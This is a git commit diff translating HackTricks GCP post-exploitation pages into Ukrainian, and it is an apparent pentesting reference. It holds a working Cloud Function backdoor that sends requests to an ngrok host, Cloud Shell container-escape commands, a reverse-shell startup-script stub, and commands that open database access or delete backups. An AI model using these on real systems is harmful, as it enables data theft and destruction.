Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:09:02 +00:00
parent 7770a50092
commit 4ecda9fe96
244 changed files with 8478 additions and 11318 deletions

View File

@@ -1,6 +1 @@
# GCP - Post Exploitation
# GCP - Постексплуатація

View File

@@ -4,7 +4,7 @@
## `App Engine`
For information about App Engine check:
Для отримання інформації про App Engine перегляньте:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,36 +12,30 @@ For information about App Engine check:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
With these permissions it's possible to:
З цими дозволами можливо:
- Add a key
- List keys
- Get a key
- Delete
- Додати ключ
- Переглянути ключі
- Отримати ключ
- Видалити
> [!CAUTION]
> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
> Однак, я **не зміг знайти жодного способу отримати цю інформацію з cli**, тільки з **веб-консолі**, де потрібно знати **тип ключа** та **ім'я ключа**, або з **додатку, що працює на app engine**.
>
> If you know easier ways to use these permissions send a Pull Request!
> Якщо ви знаєте простіші способи використання цих дозволів, надішліть Pull Request!
### `logging.views.access`
With this permission it's possible to **see the logs of the App**:
З цим дозволом можливо **переглядати журнали додатку**:
```bash
gcloud app logs tail -s <name>
```
### Читати вихідний код
### Read Source Code
Вихідний код усіх версій і сервісів **зберігається в бакеті** з назвою **`staging.<proj-id>.appspot.com`**. Якщо у вас є доступ на запис, ви можете читати вихідний код і шукати **вразливості** та **чутливу інформацію**.
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
### Модифікувати вихідний код
### Modify Source Code
Modify source code to steal credentials if they are being sent or perform a defacement web attack.
Модифікуйте вихідний код, щоб вкрасти облікові дані, якщо вони надсилаються, або здійснити атаку на веб-сайт.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +1,21 @@
# GCP - Artifact Registry Post Exploitation
# GCP - Постексплуатація реєстру артефактів
{{#include ../../../banners/hacktricks-training.md}}
## Artifact Registry
## Реєстр артефактів
For more information about Artifact Registry check:
Для отримання додаткової інформації про реєстр артефактів дивіться:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
### Privesc
### Привілеї
The Post Exploitation and Privesc techniques of Artifact Registry were mixed in:
Техніки постексплуатації та підвищення привілеїв реєстру артефактів були змішані в:
{{#ref}}
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Build
For more information about Cloud Build check:
Для отримання додаткової інформації про Cloud Build перегляньте:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,22 +12,16 @@ For more information about Cloud Build check:
### `cloudbuild.builds.approve`
With this permission you can approve the execution of a **codebuild that require approvals**.
З цією дозволом ви можете затвердити виконання **codebuild, що вимагає затверджень**.
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{{
"approvalResult": {
object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{{
"approvalResult": {
object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Cloud Functions Post Exploitation
# GCP - Постексплуатація Cloud Functions
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Functions
Find some information about Cloud Functions in:
Знайдіть деяку інформацію про Cloud Functions у:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,23 +12,20 @@ Find some information about Cloud Functions in:
### `cloudfunctions.functions.sourceCodeGet`
With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
З цією дозволом ви можете отримати **підписане URL для завантаження вихідного коду** Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### Вкрасти запити до Cloud Function
### Steal Cloud Function Requests
Якщо Cloud Function обробляє чутливу інформацію, яку надсилають користувачі (наприклад, паролі або токени), з достатніми привілеями ви могли б **змінити вихідний код функції та ексфільтрувати** цю інформацію.
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
For example this code implements the attack:
Більше того, Cloud Functions, що працюють на python, використовують **flask** для відкриття веб-сервера. Якщо ви якимось чином знайдете вразливість для ін'єкції коду всередині процесу flaks (наприклад, вразливість SSTI), можливо, **перезаписати обробник функції**, який буде отримувати HTTP запити для **зловмисної функції**, яка може **експортувати запит** перед тим, як передати його легітимному обробнику.
Наприклад, цей код реалізує атаку:
```python
import functions_framework
@@ -36,23 +33,23 @@ import functions_framework
# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""
if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"
if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"
@@ -61,72 +58,69 @@ def hello_http(request, last=False, error=""):
new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)
return ""
return ""
def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)
return view_func
return view_func
"""
def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys
if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)
if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)
if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"
if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)
# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)
# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)
# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"
# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"
except Exception as e:
return str(e)
except Exception as e:
return str(e)
```

View File

@@ -4,24 +4,20 @@
## Cloud Run
For more information about Cloud Run check:
Для отримання додаткової інформації про Cloud Run перегляньте:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Access the images
### Доступ до зображень
If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.
Якщо ви можете отримати доступ до контейнерних зображень, перевірте код на наявність вразливостей та жорстко закодованої чутливої інформації. Також перевірте наявність чутливої інформації в змінних середовища.
If the images are stored in repos inside the service Artifact Registry and the user has read access over the repos, he could also download the image from this service.
Якщо зображення зберігаються в репозиторіях всередині служби Artifact Registry і користувач має доступ для читання до репозиторіїв, він також може завантажити зображення з цієї служби.
### Modify & redeploy the image
### Змінити та повторно розгорнути зображення
Modify the run image to steal information and redeploy the new version (just uploading a new docker container with the same tags won't get it executed). For example, if it's exposing a login page, steal the credentials users are sending.
Змініть зображення запуску, щоб вкрасти інформацію, і повторно розгорніть нову версію (просто завантаження нового контейнера docker з тими ж тегами не призведе до його виконання). Наприклад, якщо воно відкриває сторінку входу, вкрадіть облікові дані, які користувачі надсилають.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Shell
For more information about Cloud Shell check:
Для отримання додаткової інформації про Cloud Shell дивіться:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
@@ -12,27 +12,22 @@ For more information about Cloud Shell check:
### Container Escape
Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
Зверніть увагу, що Google Cloud Shell працює всередині контейнера, ви можете **легко втекти на хост** виконавши:
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Це не вважається вразливістю з боку Google, але це дає вам ширше уявлення про те, що відбувається в цьому середовищі.
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
Moreover, notice that from the host you can find a service account token:
Більше того, зверніть увагу, що з хоста ви можете знайти токен облікового запису служби:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
With the following scopes:
З наступними обсягами:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -40,67 +35,48 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
Enumerate metadata with LinPEAS:
Перерахувати метадані за допомогою LinPEAS:
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном облікового запису служби **не було виявлено жодних дозволів**...
After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
### Use it as Proxy
If you want to use your google cloud shell instance as proxy you need to run the following commands (or insert them in the .bashrc file):
### Використовуйте його як проксі
Якщо ви хочете використовувати свою інстанцію google cloud shell як проксі, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc):
```bash
sudo apt install -y squid
```
Just for let you know Squid is a http proxy server. Create a **squid.conf** file with the following settings:
Просто щоб ви знали, Squid - це HTTP проксі-сервер. Створіть файл **squid.conf** з наступними налаштуваннями:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
copy the **squid.conf** file to **/etc/squid**
скопіюйте файл **squid.conf** до **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
Finally run the squid service:
Нарешті запустіть службу squid:
```bash
sudo service squid start
```
Use ngrok to let the proxy be available from outside:
Використовуйте ngrok, щоб зробити проксі доступним ззовні:
```bash
./ngrok tcp 3128
```
Після виконання скопіюйте tcp:// url. Якщо ви хочете запустити проксі з браузера, рекомендується видалити частину tcp:// і порт, а порт помістити в поле порту налаштувань проксі вашого браузера (squid є http проксі-сервером).
After running copy the tcp:// url. If you want to run the proxy from a browser it is suggested to remove the tcp:// part and the port and put the port in the port field of your browser proxy settings (squid is a http proxy server).
For better use at startup the .bashrc file should have the following lines:
Для кращого використання при запуску файл .bashrc повинен містити наступні рядки:
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перевірте цю сторінку на наявність інших божевільних ідей для запуску будь-якого програмного забезпечення (бази даних і навіть Windows) у Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud SQL
For more information about Cloud SQL check:
Для отримання додаткової інформації про Cloud SQL перегляньте:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -12,96 +12,74 @@ For more information about Cloud SQL check:
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
To connect to the databases you **just need access to the database port** and know the **username** and **password**, there isn't any IAM requirements. So, an easy way to get access, supposing that the database has a public IP address, is to update the allowed networks and **allow your own IP address to access it**.
Щоб підключитися до баз даних, вам **потрібен доступ до порту бази даних** і знати **ім'я користувача** та **пароль**, немає жодних вимог IAM. Отже, простий спосіб отримати доступ, якщо база даних має публічну IP-адресу, - це оновити дозволені мережі та **дозволити вашій власній IP-адресі отримати доступ до неї**.
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
Також можливо використовувати **`--no-backup`** для **порушення резервних копій** бази даних.
It's also possible to use **`--no-backup`** to **disrupt the backups** of the database.
As these are the requirements I'm not completely sure what are the permissions **`cloudsql.instances.connect`** and **`cloudsql.instances.login`** for. If you know it send a PR!
Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи **`cloudsql.instances.connect`** та **`cloudsql.instances.login`**. Якщо ви знаєте, надішліть PR!
### `cloudsql.users.list`
Get a **list of all the users** of the database:
Отримати **список усіх користувачів** бази даних:
```bash
gcloud sql users list --instance <intance-name>
```
### `cloudsql.users.create`
This permission allows to **create a new user inside** the database:
Ця дозволяє **створити нового користувача всередині** бази даних:
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
### `cloudsql.users.update`
This permission allows to **update user inside** the database. For example, you could change its password:
Цей дозвіл дозволяє **оновлювати користувача всередині** бази даних. Наприклад, ви можете змінити його пароль:
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
Backups might contain **old sensitive information**, so it's interesting to check them.\
**Restore a backup** inside a database:
Резервні копії можуть містити **стару чутливу інформацію**, тому цікаво їх перевірити.\
**Відновити резервну копію** всередині бази даних:
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
To do it in a more stealth way it's recommended to create a new SQL instance and recover the data there instead of in the currently running databases.
Щоб зробити це більш приховано, рекомендується створити новий SQL екземпляр і відновити дані там, а не в поточних базах даних.
### `cloudsql.backupRuns.delete`
This permission allow to delete backups:
Ця дозволяє видаляти резервні копії:
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`
**Export a database** to a Cloud Storage Bucket so you can access it from there:
**Експортуйте базу даних** у Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти:
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`
**Import a database** (overwrite) from a Cloud Storage Bucket:
**Імпортуйте базу даних** (перезапис) з Cloud Storage Bucket:
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
### `cloudsql.databases.delete`
Delete a database from the db instance:
Видалити базу даних з екземпляра бази даних:
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,40 +4,37 @@
## Compute
For more information about Compute and VPC (Networking) check:
Для отримання додаткової інформації про Compute та VPC (мережі) перегляньте:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
### Export & Inspect Images locally
### Експорт та перевірка зображень локально
This would allow an attacker to **access the data contained inside already existing images** or **create new images of running VMs** and access their data without having access to the running VM.
It's possible to export a VM image to a bucket and then download it and mount it locally with the command:
Це дозволить зловмиснику **отримати доступ до даних, що містяться в уже існуючих зображеннях** або **створити нові зображення працюючих ВМ** та отримати доступ до їхніх даних без доступу до працюючої ВМ.
Можливо експортувати зображення ВМ у бакет, а потім завантажити його та змонтувати локально за допомогою команди:
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
Для виконання цієї дії зловмиснику можуть знадобитися привілеї над сховищем і, безумовно, **привілеї над cloudbuild**, оскільки це **сервіс**, який буде запитано для виконання експорту.\
Більше того, для цього кодування SA та обчислювальному SA потрібні привілейовані дозволи.\
Службовий обліковий запис cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` потребує:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
А службовий обліковий запис `<project-id>-compute@developer.gserviceaccount.com` потребує:
- oles/compute.storageAdmin
- roles/compute.storageAdmin
- roles/storage.objectAdmin
### Export & Inspect Snapshots & Disks locally
It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally
### Експорт та перевірка знімків і дисків локально
Неможливо безпосередньо експортувати знімки та диски, але можливо **перетворити знімок на диск, диск на образ** і, слідуючи **попередньому розділу**, експортувати цей образ для перевірки локально.
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -45,80 +42,65 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### Inspect an Image creating a VM
With the goal of accessing the **data stored in an image** or inside a **running VM** from where an attacker **has created an image,** it possible to grant an external account access over the image:
З метою доступу до **даних, збережених в образі** або всередині **запущеної ВМ**, з якої зловмисник **створив образ,** можливо надати зовнішньому обліковому запису доступ до образу:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
and then create a new VM from it:
і потім створити нову VM з цього:
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
If you could not give your external account access over image, you could launch a VM using that image in the victims project and **make the metadata execute a reverse shell** to access the image adding the param:
Якщо ви не могли надати доступ до свого зовнішнього облікового запису через образ, ви могли б запустити VM, використовуючи цей образ у проекті жертви, і **змусити метадані виконати зворотне з'єднання** для доступу до образу, додавши параметр:
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspect a Snapshot/Disk attaching it to a VM
With the goal of accessing the **data stored in a disk or a snapshot, you could transform the snapshot into a disk, a disk into an image and follow th preivous steps.**
Or you could **grant an external account access** over the disk (if the starting point is a snapshot give access over the snapshot or create a disk from it):
З метою доступу до **даних, збережених на диску або знімку, ви можете перетворити знімок на диск, диск на образ і слідувати попереднім крокам.**
Або ви можете **надати зовнішньому обліковому запису доступ** до диска (якщо початковою точкою є знімок, надайте доступ до знімка або створіть диск з нього):
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
**Attach the disk** to an instance:
**Прикріпіть диск** до екземпляра:
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
--disk [DISK_NAME] \
--zone [ZONE]
```
Монтуйте диск всередині VM:
1. **SSH до VM**:
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
Mount the disk inside the VM:
2. **Визначте диск**: Після входу до VM визначте новий диск, перерахувавши дискові пристрої. Зазвичай ви можете знайти його як `/dev/sdb`, `/dev/sdc` тощо.
3. **Форматування та монтування диска** (якщо це новий або сирий диск):
1. **SSH into the VM**:
- Створіть точку монтування:
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
2. **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
3. **Format and Mount the Disk** (if it's a new or raw disk):
- Замонтуйте диск:
- Create a mount point:
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
- Mount the disk:
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
Якщо ви **не можете надати доступ до зовнішнього проекту** до знімка або диска, вам, можливо, потрібно буде **виконати ці дії всередині екземпляра в тому ж проекті, що й знімок/диск**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Filestore
For more information about Filestore check:
Для отримання додаткової інформації про Filestore перегляньте:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
@@ -12,8 +12,7 @@ For more information about Filestore check:
### Mount Filestore
A shared filesystem **might contain sensitive information** interesting from an attackers perspective. With access to the Filestore it's possible to **mount it**:
Спільна файлова система **може містити чутливу інформацію**, цікаву з точки зору атакуючого. Маючи доступ до Filestore, можна **підключити його**:
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -23,82 +22,71 @@ showmount -e <IP>
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
To find the IP address of a filestore insatnce check the enumeration section of the page:
Щоб знайти IP-адресу екземпляра filestore, перевірте розділ перерахування на сторінці:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### Remove Restrictions and get extra permissions
If the attacker isn't in an IP address with access over the share, but you have enough permissions to modify it, it's possible to remover the restrictions or access over it. It's also possible to grant more privileges over your IP address to have admin access over the share:
### Видалити обмеження та отримати додаткові дозволи
Якщо атакуючий не знаходиться в IP-адресі з доступом до спільного ресурсу, але у вас є достатні дозволи для його модифікації, можливо, видалити обмеження або доступ до нього. Також можливо надати більше привілеїв вашій IP-адресі, щоб мати адміністративний доступ до спільного ресурсу:
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json
--zone=<exact-zone> \
--flags-file=nfs.json
# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}
```
### Відновлення резервної копії
### Restore a backup
If there is a backup it's possible to **restore it** in an existing or in a new instance so its **information becomes accessible:**
Якщо є резервна копія, її можна **відновити** в існуючому або новому екземплярі, щоб її **інформація стала доступною:**
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29
# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>
# Follow the previous section commands to mount it
```
### Створити резервну копію та відновити її
### Create a backup and restore it
If you **don't have access over a share and don't want to modify it**, it's possible to **create a backup** of it and **restore** it as previously mentioned:
Якщо ви **не маєте доступу до спільного ресурсу і не хочете його змінювати**, можливо **створити резервну копію** і **відновити** її, як було згадано раніше:
```bash
# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>
# Follow the previous section commands to restore it and mount it
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,33 +1,27 @@
# GCP - IAM Post Exploitation
# GCP - IAM Постексплуатація
{{#include ../../../banners/hacktricks-training.md}}
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
You can find further information about IAM in:
Ви можете знайти додаткову інформацію про IAM у:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Надання доступу до консолі управління <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
